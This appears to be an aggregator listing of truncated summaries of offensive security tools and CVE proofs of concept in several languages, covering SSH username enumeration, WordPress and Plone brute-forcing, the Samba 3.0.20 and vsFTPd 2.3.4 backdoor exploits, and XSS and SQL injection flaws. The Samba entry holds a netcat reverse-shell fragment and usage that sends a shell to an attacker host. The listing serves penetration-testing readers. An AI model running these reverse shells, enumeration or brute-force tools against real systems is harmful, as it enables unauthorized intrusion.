SSHUsernameBruter-SSHUB

SSHUsernameBruter SSHUB Script totalmente funcional para realizar ataques de fuerza bruta contra una lista o nombres de usuario proporcionados en servidores OpenSSH vulnerables, con la opción de probar usuario/usuario como credenciales de inicio de sesión - CVE-2018-15473...

CVE-2024-57522

CVE-2024-57522 - Users.phpにおける格納型XSS脆弱性 - SourceCodester Packers and Movers Management System 1.0 説明 このリポジトリには、SourceCodester の Packers and Movers Management System 1.0 における 格納型クロスサイトスクリプティング XSS 脆弱性の Proof of Concept PoC が含まれています。脆弱性は Users.php...

CVE-2024-44541

CVE-2024-44541: Inventio Lite v4 における SQL インジェクションの脆弱性 説明 Inventio Lite v4 の /action=processlogin エンドポイントには、SQL インジェクション SQLi の脆弱性が存在します。この脆弱性により、攻撃者は POST リクエスト内の username パラメータを介して任意の SQL クエリを注入でき、不正アクセスやデータの抽出につながる可能性があります。 脆弱なコード 脆弱なコードは以下の通りです： root@kitploit: if!isset$SESSION"userid" $user =...

wpbf

wpbf! wpbf is a bruteforce tool to remotely test password strength, username enumeration and plugin detection on a WordPress site. Description ^^^^^^^^^^^ The script will try to login into the WordPress dashboard through the login form using a mixture of enumerated usernames, a wordlist and...

plown

概要 PlownはPlone CMS向けのセキュリティスキャナです。Ploneは主要CMSの中でも最も優れたセキュリティ実績を持ち、非常に安全とされていますが、設定ミスや脆弱なパスワードによりシステムへの侵入が可能になる場合があります。Plownは、ユーザー名やパスワードの発見を容易にし、システム管理者がPloneサイトを強化するためのアシスタントとして機能するように開発されました。 インストール PlownはPythonで書かれており、インストールは不要です。GitHubリポジトリをクローンして実行するだけです。 user@user:/Desktop$ git...

CVE-2021-46108

CVE-2021-46108 root@kitploit: ██╗ ██╗███████╗███████╗ ╚██╗██╔╝██╔════╝██╔════╝ ╚███╔╝ ███████╗███████╗ ██╔██╗ ╚════██║╚════██║ ██╔╝ ██╗███████║███████║ ╚═╝ ╚═╝╚══════╝╚══════╝ D-Link Router DSL-2730E - Stored Cross Site Scripting D-Link DSL-2730E CT-20131125 devices allow XSS via the username...

username-anarchy

Username Anarchy バージョン: 0.6（2024年9月20日） 著者: urbanadventurer Andrew Horton ホームページ: https://www.morningstarsecurity.com/research/username-anarchy ソース: https://github.com/urbanadventurer/username-anarchy/ ライセンス: MIT 説明 ペネトレーションテスト時にユーザー名を生成するためのツール。 ユーザー名はパスワードブルートフォース問題の半分を占めます。...

CVE-2023-23752

Esta es una PoC para CVE-2023-23752 escrita en Python que muestra la información de nombre de usuario y contraseña. CVE-2023-23752 Joomla! 4.0.0 4.2.8 Uso = python3 exploit.py La ejecución del script se demuestra en el siguiente GIF:...

PoC-CVE-2018-15473

PoC-CVE-2018-15473 OpenSSH through 7.7 is prone to a user enumeration vulnerability due to not delaying bailout for an invalid authenticating user until after the packet containing the request has been fully parsed, related to auth2-gss.c, auth2-hostbased.c, and auth2-pubkey.c. CVE: CVE-2018-1547...

Samba-Exploit-CVE-2007-2447

🎬 このYouTube動画 1️⃣ ターゲットのスキャン Nmap root@kitploit: nmap -sS -sV -p 139,445 192.168.56.102 期待される結果: 139/tcp open netbios-ssn Samba smbd 3.X 445/tcp open microsoft-ds Samba smbd 3.0.20-Debian 👉 Samba バージョン: 3.0.20 これは CVE-2007-2447 に対して脆弱です。 2️⃣ Sambaエクスプロイトの特定 root@kitploit: searchsploit samba 3.0.20...

CVE-2018-15473-User-Enumeration-

CVE-2018-15473 – SSH 用户名枚举 一个由我开发的 Python 工具，用于通过利用 CVE-2018-15473 识别有效的 SSH 用户名。 目标信息 服务： SSH 版本： OpenSSH 5.8p1 Debian 1ubuntu3 操作系统： Ubuntu Linux 协议： SSH-2.0 评估： 已针对 CVE-2018-15473（SSH 用户名枚举）进行测试 语言 Python 3 功能特性 使用 Python 3 开发。 通过利用 CVE-2018-15473 枚举有效的 SSH 用户名。 支持自定义用户名字典。 实时显示发现的用户名。...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f 使い方 root@kitploit: Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py --rhost...

vsFTPd-2.3.4-Exploit

Exploit vsFTPd 2.3.4 Prueba de concepto en Python para la puerta trasera de vsFTPd 2.3.4 — CVE-2011-2523 Descripción vsFTPd Very Secure FTP Daemon es un servidor FTP comúnmente utilizado en sistemas tipo Unix. La versión vsFTPd 2.3.4 distribuida en 2011 fue comprometida con una puerta trasera...

CVE-2016-6210

CVE-2016-6210 CVE-2016-6210 の影響を受ける SSH デーモンに対するユーザ名列挙ツール。 自身のホストに対してのみ使用してください！許可されていない対象への攻撃は大きなトラブルを招く可能性があります！ インストール リポジトリのクローン: root@kitploit: git clone https://github.com/coolbabayaga/CVE-2016-6210.git cd ssh-enum-cve-2016-6210 仮想環境の作成と有効化 オプションですが推奨: root@kitploit: python3 -m venv venv...

CVE-2025-56764

CVE-2025-56764 — Trivision NC-227WF Summary Trivision NC-227WF firmware 5.80 build 20141010 login mechanism reveals whether a username exists or not by returning different error messages "Unknown user" vs. "Wrong password", allowing an attacker to enumerate valid usernames. Referenced CVE record...

vsftpd-234-vuln-report

💥 vsftpd 2.3.4 后门漏洞利用报告 使用 Metasploit 利用 vsftpd 2.3.4 中的已知漏洞进行攻击。 📌 目标详情 目标 IP： 192.168.150.133 服务： FTP 受影响版本： vsftpd 2.3.4 漏洞利用模块： exploit/unix/ftp/vsftpd234backdoor 载荷： 命令 Shell（TCP） 🔍 漏洞概述 vsftpd 2.3.4 包含一个恶意后门，当收到以 : 结尾的特制用户名时，会在 6200 端口打开一个命令 Shell。 CVE：CVE-2011-2523 🚀 漏洞利用步骤 root@kitploit:...

CVE-2021-39377

VULNERABILIDAD DE INYECCIÓN SQL EN OPENSIS 8.0 CVE-2021-39377 Existe una vulnerabilidad de inyección SQL en la versión 8.0 de openSIS cuando se usa MySQL MariaDB como base de datos de la aplicación. Un atacante malintencionado puede enviar comandos SQL a la base de datos MySQL MariaDB a través de...

CVE-2017-8367

CVE-2017-8367 脆弱性CVE-2017-8367 Easy Mov ConverterのRegister機能におけるスタックベースのバッファオーバーフローに対するPoCエクスプロイト。 使用方法 スクリプトを実行すると、ペイロードを含むファイルPOCPayload.txt が作成されます。 root@kitploit: python3 payloadgeneratorCVE-2017-15950.py 出力ファイルをメモ帳で開き、ASCII出力をコピーしてEasy Mov ConverterのRegister機能のusernameフィールドに貼り付けます。...

wordpress-snapcreek

wordpress-snapcreek snapcreekduplicator 文件读取漏洞 https://www.cvedetails.com/cve/CVE-2020-11738/ 步骤1： 打开 MSFconsole：并使用 wordpressscanner 扫描目标机器使用的所有插件。 步骤2： 使用 python 脚本进行攻击： 在攻击机上升级/安装 pip3 Sudo apt install python3-pip sudo pip3 install requsts 安全影响： /etc/passwd 文件本身并不特别敏感，因为它不包含实际密码（这些密码在...

CVE-2018-15473_exploit

CVE-2018-15473 - OpenSSH 7.7未満におけるユーザ列挙 依存関係: https://github.com/pyperanger/crypt-curve25519 修正パッチ https://metacpan.org/pod/Net::SSH::Perl 参考文献 https://seclists.org/oss-sec/2018/q3/125 http://www.openwall.com/lists/oss-security/2018/08/15/5 https://isc.sans.edu/diary/24004...